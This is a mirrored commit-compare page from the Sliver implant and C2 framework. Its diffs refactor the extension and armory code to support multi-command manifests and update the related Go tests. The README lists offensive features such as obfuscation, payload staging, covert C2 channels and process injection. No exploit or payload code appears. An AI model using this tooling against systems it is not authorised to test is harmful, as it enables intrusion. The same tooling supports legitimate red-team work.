mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 01:38:17 -10:00
Compare commits
81
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f67e96e1de | ||
|
|
1301cf6027 | ||
|
|
ce72711bc3 | ||
|
|
b732ce1daa | ||
|
|
a84f13e8a0 | ||
|
|
218e3c53b1 | ||
|
|
dfaadfb5c0 | ||
|
|
478dabf5e1 | ||
|
|
5767abe616 | ||
|
|
2fabbee6bf | ||
|
|
1e6d91fb6a | ||
|
|
31022c12db | ||
|
|
e82975d1bd | ||
|
|
1205defc3e | ||
|
|
33613d25da | ||
|
|
5c9b4a6af7 | ||
|
|
cfdbe6d467 | ||
|
|
8ad5d44114 | ||
|
|
ada14762cd | ||
|
|
5f0b778c18 | ||
|
|
78038a8dcc | ||
|
|
9f0f9b1206 | ||
|
|
a02f1ac529 | ||
|
|
dd51a66b63 | ||
|
|
d98810a65e | ||
|
|
803adef634 | ||
|
|
03c3d45500 | ||
|
|
ec31b5dfa6 | ||
|
|
f1ce927e1d | ||
|
|
a4ee4dc5e9 | ||
|
|
d4e0c562ee | ||
|
|
7047ec1c52 | ||
|
|
cdfc2cd241 | ||
|
|
c4597cca76 | ||
|
|
727693f3f2 | ||
|
|
2d51293792 | ||
|
|
aa1850b8e6 | ||
|
|
a84b01ed40 | ||
|
|
84808f626e | ||
|
|
a10770ae2c | ||
|
|
5d8d3a5d78 | ||
|
|
a0a59ee540 | ||
|
|
58be6c5a10 | ||
|
|
9cd27ed805 | ||
|
|
147e06d058 | ||
|
|
26aad81968 | ||
|
|
0f26ad1396 | ||
|
|
aac3c142e5 | ||
|
|
4e012113cf | ||
|
|
6916dbe684 | ||
|
|
97e5142b7a | ||
|
|
06fc398033 | ||
|
|
c2f4856255 | ||
|
|
ad7e1dcafa | ||
|
|
8c5d3dd637 | ||
|
|
2e7498c94c | ||
|
|
dee26bcb3d | ||
|
|
67c6710ff9 | ||
|
|
e4a98e9a34 | ||
|
|
15781566ab | ||
|
|
2bcaf9a78f | ||
|
|
d8fe33d20a | ||
|
|
3a846e41a7 | ||
|
|
d3ad2dc84f | ||
|
|
8aa4dd4a28 | ||
|
|
b360eae3fb | ||
|
|
8260c90288 | ||
|
|
d394a5936d | ||
|
|
7ab9ddb68f | ||
|
|
48562a4221 | ||
|
|
28397eb7a9 | ||
|
|
342ed489f3 | ||
|
|
5e5e0df4ec | ||
|
|
c02c40cb65 | ||
|
|
be222e3ffa | ||
|
|
4421ec1698 | ||
|
|
7815b67a8a | ||
|
|
84aed0720f | ||
|
|
b212e0fb99 | ||
|
|
b3ab5ea62e | ||
|
|
9d4486f906 |
No files matched your search
@@ -3,6 +3,14 @@ on:
|
||||
pull_request:
|
||||
branches:
|
||||
- master
|
||||
paths:
|
||||
- "go.mod"
|
||||
- "go.sum"
|
||||
- "Makefile"
|
||||
- "**/*.go"
|
||||
- "**/*.c"
|
||||
- "**/*.h"
|
||||
- "**/*.sh"
|
||||
types:
|
||||
- opened
|
||||
- reopened
|
||||
|
||||
@@ -8,7 +8,7 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
|
||||
|
||||
# v1.6.0 / `master`
|
||||
|
||||
**NOTE:** You are looking the latest master branch of Sliver v1.6.0; PRs should target this branch starting on 6/1/2023 ('MURICA format). However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience.
|
||||
**NOTE:** You are looking the latest master branch of Sliver v1.6.0; new PRs should target this branch. However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience.
|
||||
|
||||
For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x/master` branch](https://github.com/BishopFox/sliver/tree/v1.5.x/master).
|
||||
|
||||
@@ -18,9 +18,9 @@ For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x
|
||||
- Compile-time obfuscation
|
||||
- Multiplayer-mode
|
||||
- Staged and Stageless payloads
|
||||
- [Procedurally generated C2](<https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood>) over HTTP(S)
|
||||
- [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
|
||||
- [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
|
||||
- [Procedurally generated C2](https://sliver.sh/docs?name=HTTPS+C2) over HTTP(S)
|
||||
- [DNS canary](https://sliver.sh/docs?name=DNS+C2) blue team detection
|
||||
- [Secure C2](https://sliver.sh/docs?name=Transport+Encryption) over mTLS, WireGuard, HTTP(S), and DNS
|
||||
- Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
|
||||
- Windows process migration, process injection, user token manipulation, etc.
|
||||
- Let's Encrypt integration
|
||||
@@ -31,7 +31,7 @@ For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x
|
||||
|
||||
### Getting Started
|
||||
|
||||
Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://github.com/BishopFox/sliver/wiki/Getting-Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.
|
||||
Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://sliver.sh/docs?name=Getting+Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.
|
||||
|
||||
#### Linux One Liner
|
||||
|
||||
@@ -39,11 +39,11 @@ Download the latest [release](https://github.com/BishopFox/sliver/releases) and
|
||||
|
||||
### Help!
|
||||
|
||||
Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
|
||||
Please checkout the [wiki](https://sliver.sh/), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
|
||||
|
||||
### Compile From Source
|
||||
|
||||
See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
|
||||
See the [wiki](https://sliver.sh/docs?name=Compile+from+Source).
|
||||
|
||||
### Feedback
|
||||
|
||||
|
||||
@@ -141,7 +141,7 @@ func ArmoryCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
aliases = append(aliases, cacheEntry.Alias)
|
||||
} else {
|
||||
exts = append(exts, cacheEntry.Extension)
|
||||
exts = append(exts, cacheEntry.Extension) //todo: check this isn't a bug
|
||||
}
|
||||
}
|
||||
return true
|
||||
@@ -183,7 +183,7 @@ func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest)
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
aliases = append(aliases, cacheEntry.Alias)
|
||||
} else {
|
||||
exts = append(exts, cacheEntry.Extension)
|
||||
exts = append(exts, cacheEntry.Extension) //todo: check this isn't a bug
|
||||
}
|
||||
}
|
||||
return true
|
||||
@@ -217,9 +217,11 @@ func AliasExtensionOrBundleCompleter() carapace.Action {
|
||||
aliasesComps := carapace.ActionValuesDescribed(results...).Tag("aliases").Invoke(ctx)
|
||||
results = make([]string, 0)
|
||||
|
||||
for _, extensionPkg := range exts {
|
||||
results = append(results, extensionPkg.CommandName)
|
||||
results = append(results, extensionPkg.Help)
|
||||
for _, extension := range exts {
|
||||
for _, extensionPkg := range extension.ExtCommand {
|
||||
results = append(results, extensionPkg.CommandName)
|
||||
results = append(results, extensionPkg.Help)
|
||||
}
|
||||
}
|
||||
extentionComps := carapace.ActionValuesDescribed(results...).Tag("extensions").Invoke(ctx)
|
||||
results = make([]string, 0)
|
||||
@@ -291,14 +293,16 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
URL: aliasPkg.RepoURL,
|
||||
})
|
||||
}
|
||||
for _, extension := range exts {
|
||||
entries = append(entries, pkgInfo{
|
||||
CommandName: extension.CommandName,
|
||||
Version: extension.Version,
|
||||
Type: "Extension",
|
||||
Help: extension.Help,
|
||||
URL: extension.RepoURL,
|
||||
})
|
||||
for _, extm := range exts {
|
||||
for _, extension := range extm.ExtCommand {
|
||||
entries = append(entries, pkgInfo{
|
||||
CommandName: extension.CommandName,
|
||||
Version: extension.Manifest.Version,
|
||||
Type: "Extension",
|
||||
Help: extension.Help,
|
||||
URL: extension.Manifest.RepoURL,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
sliverMenu := con.App.Menu("implant")
|
||||
|
||||
@@ -96,11 +96,13 @@ func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *conso
|
||||
}
|
||||
}
|
||||
}
|
||||
for _, ext := range extensions {
|
||||
if ext.CommandName == name || name == "all" {
|
||||
installExtension(ext, clientConfig, con)
|
||||
if name != "all" {
|
||||
return nil
|
||||
for _, extm := range extensions {
|
||||
for _, ext := range extm.ExtCommand {
|
||||
if ext.CommandName == name || name == "all" {
|
||||
installExtension(ext.Manifest, clientConfig, con)
|
||||
if name != "all" {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -186,25 +188,27 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
|
||||
return nil
|
||||
}
|
||||
|
||||
func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
func installExtension(extm *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
deps := make(map[string]struct{})
|
||||
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
|
||||
sliverMenu := con.App.Menu(constants.ImplantMenu)
|
||||
for dep := range deps {
|
||||
if extensions.CmdExists(dep, sliverMenu.Command) {
|
||||
continue // Dependency is already installed
|
||||
for _, ext := range extm.ExtCommand {
|
||||
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
|
||||
sliverMenu := con.App.Menu(constants.ImplantMenu).Root()
|
||||
for dep := range deps {
|
||||
if extensions.CmdExists(dep, sliverMenu) {
|
||||
continue // Dependency is already installed
|
||||
}
|
||||
err := installExtensionPackageByName(dep, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
err := installExtensionPackageByName(dep, clientConfig, con)
|
||||
err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
|
||||
con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
const maxDepDepth = 10 // Arbitrary recursive limit for dependencies
|
||||
@@ -222,24 +226,25 @@ func resolveExtensionPackageDependencies(name string, deps map[string]struct{},
|
||||
if entry == nil {
|
||||
return
|
||||
}
|
||||
for _, multiExt := range entry.Extension.ExtCommand {
|
||||
if multiExt.DependsOn == "" {
|
||||
continue // Avoid adding empty dependency
|
||||
}
|
||||
|
||||
if entry.Extension.DependsOn == "" {
|
||||
return // Avoid adding empty dependency
|
||||
if multiExt.DependsOn == name {
|
||||
continue // Avoid infinite loop of something that depends on itself
|
||||
}
|
||||
// We also need to look out for circular dependencies, so if we've already
|
||||
// seen this dependency, we stop resolving
|
||||
if _, ok := deps[multiExt.DependsOn]; ok {
|
||||
continue // Already resolved
|
||||
}
|
||||
if maxDepDepth < len(deps) {
|
||||
continue
|
||||
}
|
||||
deps[multiExt.DependsOn] = struct{}{}
|
||||
resolveExtensionPackageDependencies(multiExt.DependsOn, deps, clientConfig, con)
|
||||
}
|
||||
|
||||
if entry.Extension.DependsOn == name {
|
||||
return // Avoid infinite loop of something that depends on itself
|
||||
}
|
||||
// We also need to look out for circular dependencies, so if we've already
|
||||
// seen this dependency, we stop resolving
|
||||
if _, ok := deps[entry.Extension.DependsOn]; ok {
|
||||
return // Already resolved
|
||||
}
|
||||
if maxDepDepth < len(deps) {
|
||||
return
|
||||
}
|
||||
deps[entry.Extension.DependsOn] = struct{}{}
|
||||
resolveExtensionPackageDependencies(entry.Extension.DependsOn, deps, clientConfig, con)
|
||||
}
|
||||
|
||||
func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
|
||||
@@ -297,20 +302,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear download message
|
||||
|
||||
installPath := extensions.InstallFromFilePath(tmpFile.Name(), true, con)
|
||||
if installPath == nil {
|
||||
return errors.New("failed to install extension")
|
||||
}
|
||||
extCmd, err := extensions.LoadExtensionManifest(filepath.Join(*installPath, extensions.ManifestFileName))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
extensions.InstallFromDir(tmpFile.Name(), con, true)
|
||||
|
||||
sliverMenu := con.App.Menu(constants.ImplantMenu)
|
||||
//
|
||||
// if extensions.CmdExists(extCmd.Name, sliverMenu.Command) {
|
||||
// con.App.Commands().Remove(extCmd.Name)
|
||||
// }
|
||||
extensions.ExtensionRegisterCommand(extCmd, sliverMenu.Command, con)
|
||||
return nil
|
||||
}
|
||||
@@ -55,9 +55,11 @@ func ArmorySearchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
|
||||
}
|
||||
}
|
||||
matchedExts := []*extensions.ExtensionManifest{}
|
||||
for _, ext := range exts {
|
||||
if nameExpr.MatchString(ext.CommandName) {
|
||||
matchedExts = append(matchedExts, ext)
|
||||
for _, extm := range exts {
|
||||
for _, ext := range extm.ExtCommand {
|
||||
if nameExpr.MatchString(ext.CommandName) {
|
||||
matchedExts = append(matchedExts, extm)
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(matchedAliases) == 0 && len(matchedExts) == 0 {
|
||||
|
||||
@@ -104,10 +104,11 @@ func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.Sliver
|
||||
for _, latestExt := range cachedExtensions {
|
||||
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
|
||||
// the armory differs at all from the local version, the extension is out of date.
|
||||
if latestExt.CommandName == localManifest.CommandName && latestExt.Version != localManifest.Version {
|
||||
results = append(results, localManifest.CommandName)
|
||||
if latestExt.Name == localManifest.Name && latestExt.Version != localManifest.Version {
|
||||
results = append(results, localManifest.Name)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
@@ -66,25 +66,27 @@ func PrintExtensions(con *console.SliverConsoleClient) {
|
||||
|
||||
installedManifests := getInstalledManifests()
|
||||
for _, extension := range loadedExtensions {
|
||||
//for _, extension := range extensionm.ExtCommand {
|
||||
installed := ""
|
||||
if _, ok := installedManifests[extension.CommandName]; ok {
|
||||
if _, ok := installedManifests[extension.Manifest.Name]; ok {
|
||||
installed = "✅"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
extension.Name,
|
||||
extension.Manifest.Name,
|
||||
extension.CommandName,
|
||||
strings.Join(extensionPlatforms(extension), ",\n"),
|
||||
extension.Version,
|
||||
extension.Manifest.Version,
|
||||
installed,
|
||||
extension.ExtensionAuthor,
|
||||
extension.OriginalAuthor,
|
||||
extension.RepoURL,
|
||||
extension.Manifest.ExtensionAuthor,
|
||||
extension.Manifest.OriginalAuthor,
|
||||
extension.Manifest.RepoURL,
|
||||
})
|
||||
//}
|
||||
}
|
||||
con.Println(tw.Render())
|
||||
}
|
||||
|
||||
func extensionPlatforms(extension *ExtensionManifest) []string {
|
||||
func extensionPlatforms(extension *ExtCommand) []string {
|
||||
platforms := map[string]string{}
|
||||
for _, entry := range extension.Files {
|
||||
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
|
||||
@@ -109,7 +111,7 @@ func getInstalledManifests() map[string]*ExtensionManifest {
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
installedManifests[manifest.CommandName] = manifest
|
||||
installedManifests[manifest.Name] = manifest
|
||||
}
|
||||
return installedManifests
|
||||
}
|
||||
@@ -117,9 +119,9 @@ func getInstalledManifests() map[string]*ExtensionManifest {
|
||||
// ExtensionsCommandNameCompleter - Completer for installed extensions command names
|
||||
func ExtensionsCommandNameCompleter(con *console.SliverConsoleClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
installedManifests := getInstalledManifests()
|
||||
//installedManifests := getInstalledManifests()
|
||||
results := []string{}
|
||||
for _, manifest := range installedManifests {
|
||||
for _, manifest := range loadedExtensions {
|
||||
results = append(results, manifest.CommandName)
|
||||
results = append(results, manifest.Help)
|
||||
}
|
||||
@@ -127,3 +129,13 @@ func ExtensionsCommandNameCompleter(con *console.SliverConsoleClient) carapace.A
|
||||
return carapace.ActionValuesDescribed(results...).Tag("extension commands")
|
||||
})
|
||||
}
|
||||
|
||||
func ManifestCompleter() carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
results := []string{}
|
||||
for k := range loadedManifests {
|
||||
results = append(results, k)
|
||||
}
|
||||
return carapace.ActionValues(results...).Tag("extensions")
|
||||
})
|
||||
}
|
||||
@@ -1,5 +1,10 @@
|
||||
package extensions
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
@@ -18,26 +23,25 @@ package extensions
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
const (
|
||||
sample1 = `{
|
||||
"name": "test1",
|
||||
"command_name": "test1",
|
||||
"version": "1.0.0",
|
||||
"extension_author": "test",
|
||||
"original_author": "test",
|
||||
"repo_url": "https://example.com/",
|
||||
"help": "some help",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "foo/test1.dll"
|
||||
}
|
||||
"commands":[
|
||||
{
|
||||
"command_name": "test1",
|
||||
"help": "some help",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}`
|
||||
|
||||
@@ -53,6 +57,60 @@ const (
|
||||
}
|
||||
]
|
||||
}`
|
||||
sample3 = `{
|
||||
"name": "test3",
|
||||
"version": "1.0.0",
|
||||
"extension_author": "test",
|
||||
"original_author": "test",
|
||||
"repo_url": "https://example.com/",
|
||||
"commands": [
|
||||
{
|
||||
"command_name": "test3",
|
||||
"help": "some help",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}`
|
||||
|
||||
multicmd = `{
|
||||
"name": "example-multientry",
|
||||
"version": "0.0.0",
|
||||
"extension_author": "cs",
|
||||
"original_author": "cs",
|
||||
"repo_url": "no",
|
||||
"commands": [
|
||||
{
|
||||
"command_name": "startw",
|
||||
"help": "startw",
|
||||
"entrypoint": "StartW",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "ex.dll"
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"command_name": "Test2",
|
||||
"help": "startw",
|
||||
"entrypoint": "Test2",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "ex.dll"
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}`
|
||||
)
|
||||
|
||||
func TestParseExtensionManifest(t *testing.T) {
|
||||
@@ -63,9 +121,7 @@ func TestParseExtensionManifest(t *testing.T) {
|
||||
if extManifest.Name != "test1" {
|
||||
t.Errorf("Expected extension name 'test1', got '%s'", extManifest.Name)
|
||||
}
|
||||
if extManifest.CommandName != "test1" {
|
||||
t.Errorf("Expected extension command name 'test1', got '%s'", extManifest.CommandName)
|
||||
}
|
||||
|
||||
if extManifest.Version != "1.0.0" {
|
||||
t.Errorf("Expected extension version '1.0.0', got '%s'", extManifest.Version)
|
||||
}
|
||||
@@ -78,67 +134,86 @@ func TestParseExtensionManifest(t *testing.T) {
|
||||
if extManifest.RepoURL != "https://example.com/" {
|
||||
t.Errorf("Expected repo URL 'https://example.com/', got '%s'", extManifest.RepoURL)
|
||||
}
|
||||
if extManifest.Help != "some help" {
|
||||
t.Errorf("Expected help 'some help', got '%s'", extManifest.Help)
|
||||
}
|
||||
if len(extManifest.Files) != 1 {
|
||||
t.Errorf("Expected 1 file, got %d", len(extManifest.Files))
|
||||
}
|
||||
if extManifest.Files[0].OS != "windows" {
|
||||
t.Errorf("Expected OS 'windows', got '%s'", extManifest.Files[0].OS)
|
||||
}
|
||||
if extManifest.Files[0].Arch != "amd64" {
|
||||
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest.Files[0].Arch)
|
||||
}
|
||||
if extManifest.Files[0].Path != "/foo/test1.dll" {
|
||||
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest.Files[0].Path)
|
||||
for _, extCmd := range extManifest.ExtCommand { //should only be a single manfiest here, so should pass
|
||||
if extCmd.CommandName != "test1" {
|
||||
t.Errorf("Expected extension command name 'test1', got '%s'", extCmd.CommandName)
|
||||
}
|
||||
if extCmd.Help != "some help" {
|
||||
t.Errorf("Expected help 'some help', got '%s'", extCmd.Help)
|
||||
}
|
||||
if len(extCmd.Files) != 1 {
|
||||
t.Errorf("Expected 1 file, got %d", len(extCmd.Files))
|
||||
}
|
||||
if extCmd.Files[0].OS != "windows" {
|
||||
t.Errorf("Expected OS 'windows', got '%s'", extCmd.Files[0].OS)
|
||||
}
|
||||
if extCmd.Files[0].Arch != "amd64" {
|
||||
t.Errorf("Expected Arch 'amd64', got '%s'", extCmd.Files[0].Arch)
|
||||
}
|
||||
if extCmd.Files[0].Path != "/foo/test1.dll" {
|
||||
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extCmd.Files[0].Path)
|
||||
}
|
||||
}
|
||||
|
||||
extManifest2, err := ParseExtensionManifest([]byte(sample2))
|
||||
mextManifest2, err := ParseExtensionManifest([]byte(sample2)) //checking old manifests work good too
|
||||
if err != nil {
|
||||
t.Fatalf("Error parsing extension manifest (2): %s", err)
|
||||
}
|
||||
if extManifest2.Name != "test2" {
|
||||
t.Errorf("Expected extension name 'test2', got '%s'", extManifest2.Name)
|
||||
if mextManifest2.Name != "test2" {
|
||||
t.Errorf("Expected extension name 'test2', got '%s'", mextManifest2.Name)
|
||||
}
|
||||
if extManifest2.CommandName != "test2" {
|
||||
t.Errorf("Expected extension command name 'test2', got '%s'", extManifest2.CommandName)
|
||||
}
|
||||
if extManifest2.Help != "some help" {
|
||||
t.Errorf("Expected help 'some help', got '%s'", extManifest2.Help)
|
||||
}
|
||||
if len(extManifest2.Files) != 1 {
|
||||
t.Errorf("Expected 1 file, got %d", len(extManifest2.Files))
|
||||
}
|
||||
if extManifest2.Files[0].OS != "windows" {
|
||||
t.Errorf("Expected OS 'windows', got '%s'", extManifest2.Files[0].OS)
|
||||
}
|
||||
if extManifest2.Files[0].Arch != "amd64" {
|
||||
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch)
|
||||
}
|
||||
if extManifest2.Files[0].Path != "/foo/test1.dll" {
|
||||
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path)
|
||||
for _, extManifest2 := range mextManifest2.ExtCommand {
|
||||
if extManifest2.CommandName != "test2" {
|
||||
t.Errorf("Expected extension command name 'test2', got '%s'", extManifest2.CommandName)
|
||||
}
|
||||
if extManifest2.Help != "some help" {
|
||||
t.Errorf("Expected help 'some help', got '%s'", extManifest2.Help)
|
||||
}
|
||||
if len(extManifest2.Files) != 1 {
|
||||
t.Errorf("Expected 1 file, got %d", len(extManifest2.Files))
|
||||
}
|
||||
if extManifest2.Files[0].OS != "windows" {
|
||||
t.Errorf("Expected OS 'windows', got '%s'", extManifest2.Files[0].OS)
|
||||
}
|
||||
if extManifest2.Files[0].Arch != "amd64" {
|
||||
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch)
|
||||
}
|
||||
if extManifest2.Files[0].Path != "/foo/test1.dll" {
|
||||
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
const (
|
||||
sample3 = `{
|
||||
"name": "test3",
|
||||
"command_name": "test3",
|
||||
"version": "1.0.0",
|
||||
"extension_author": "test",
|
||||
"original_author": "test",
|
||||
"repo_url": "https://example.com/",
|
||||
"help": "some help",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}`
|
||||
)
|
||||
func TestParseMultipleCmdManifest(t *testing.T) {
|
||||
mextManifest, err := ParseExtensionManifest([]byte(multicmd))
|
||||
if err != nil {
|
||||
t.Errorf("error parsing manifest: %s", err)
|
||||
}
|
||||
if mextManifest.Name != "example-multientry" {
|
||||
t.Errorf("expected name example-multientry, got %s", mextManifest.Name)
|
||||
}
|
||||
|
||||
if mextManifest.ExtCommand[0].CommandName != "startw" {
|
||||
t.Errorf("expected commandname startw, got %s", mextManifest.ExtCommand[0].CommandName)
|
||||
}
|
||||
if mextManifest.ExtCommand[1].CommandName != "Test2" {
|
||||
t.Errorf("expected commandname Test2, got %s", mextManifest.ExtCommand[1].CommandName)
|
||||
}
|
||||
if mextManifest.ExtCommand[0].Entrypoint != "StartW" {
|
||||
t.Errorf("expected entrypoint StartW, got %s", mextManifest.ExtCommand[0].Entrypoint)
|
||||
}
|
||||
if mextManifest.ExtCommand[1].Entrypoint != "Test2" {
|
||||
t.Errorf("expected entrypoint Test2, got %s", mextManifest.ExtCommand[1].Entrypoint)
|
||||
}
|
||||
if mextManifest.ExtCommand[0].Files[0].Path != "/ex.dll" { //path cleaning adds a root path here? I am not sure if this should be a bug or not... works fine in prod
|
||||
t.Errorf("expected path ex.dll, got %s", mextManifest.ExtCommand[0].Files[0].Path)
|
||||
}
|
||||
if mextManifest.ExtCommand[1].Files[0].Path != "/ex.dll" { //path cleaning adds a root path here? I am not sure if this should be a bug or not... works fine in prod
|
||||
t.Errorf("expected path ex.dll, got %s", mextManifest.ExtCommand[0].Files[0].Path)
|
||||
}
|
||||
//maybe some more? args?
|
||||
}
|
||||
|
||||
func TestParseExtensionManifestErrors(t *testing.T) {
|
||||
sample3, err := ParseExtensionManifest([]byte(sample3))
|
||||
@@ -155,7 +230,7 @@ func TestParseExtensionManifestErrors(t *testing.T) {
|
||||
}
|
||||
|
||||
missingCmdName := (*sample3)
|
||||
missingCmdName.CommandName = ""
|
||||
missingCmdName.ExtCommand[0].CommandName = ""
|
||||
data, _ = json.Marshal(missingCmdName)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
@@ -163,7 +238,7 @@ func TestParseExtensionManifestErrors(t *testing.T) {
|
||||
}
|
||||
|
||||
missingHelp := (*sample3)
|
||||
missingHelp.Help = ""
|
||||
missingHelp.ExtCommand[0].Help = ""
|
||||
data, _ = json.Marshal(missingHelp)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
@@ -171,7 +246,7 @@ func TestParseExtensionManifestErrors(t *testing.T) {
|
||||
}
|
||||
|
||||
missingFiles := (*sample3)
|
||||
missingFiles.Files = []*extensionFile{}
|
||||
missingFiles.ExtCommand[0].Files = []*extensionFile{}
|
||||
data, _ = json.Marshal(missingFiles)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
@@ -179,7 +254,7 @@ func TestParseExtensionManifestErrors(t *testing.T) {
|
||||
}
|
||||
|
||||
missingFileOS := (*sample3)
|
||||
missingFileOS.Files = []*extensionFile{
|
||||
missingFileOS.ExtCommand[0].Files = []*extensionFile{
|
||||
{
|
||||
OS: "",
|
||||
Arch: "amd64",
|
||||
@@ -193,7 +268,7 @@ func TestParseExtensionManifestErrors(t *testing.T) {
|
||||
}
|
||||
|
||||
missingFileArch := (*sample3)
|
||||
missingFileArch.Files = []*extensionFile{
|
||||
missingFileArch.ExtCommand[0].Files = []*extensionFile{
|
||||
{
|
||||
OS: "windows",
|
||||
Arch: "",
|
||||
@@ -207,7 +282,7 @@ func TestParseExtensionManifestErrors(t *testing.T) {
|
||||
}
|
||||
|
||||
missingFilePath := (*sample3)
|
||||
missingFilePath.Files = []*extensionFile{
|
||||
missingFilePath.ExtCommand[0].Files = []*extensionFile{
|
||||
{
|
||||
OS: "windows",
|
||||
Arch: "amd64",
|
||||
@@ -228,7 +303,7 @@ func TestParseExtensionManifestErrors(t *testing.T) {
|
||||
}
|
||||
for _, invalidPath := range invalidPaths {
|
||||
missingFilePath2 := (*sample3)
|
||||
missingFilePath2.Files = []*extensionFile{
|
||||
missingFilePath2.ExtCommand[0].Files = []*extensionFile{
|
||||
{
|
||||
OS: "windows",
|
||||
Arch: "amd64",
|
||||
|
||||
@@ -22,6 +22,7 @@ import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
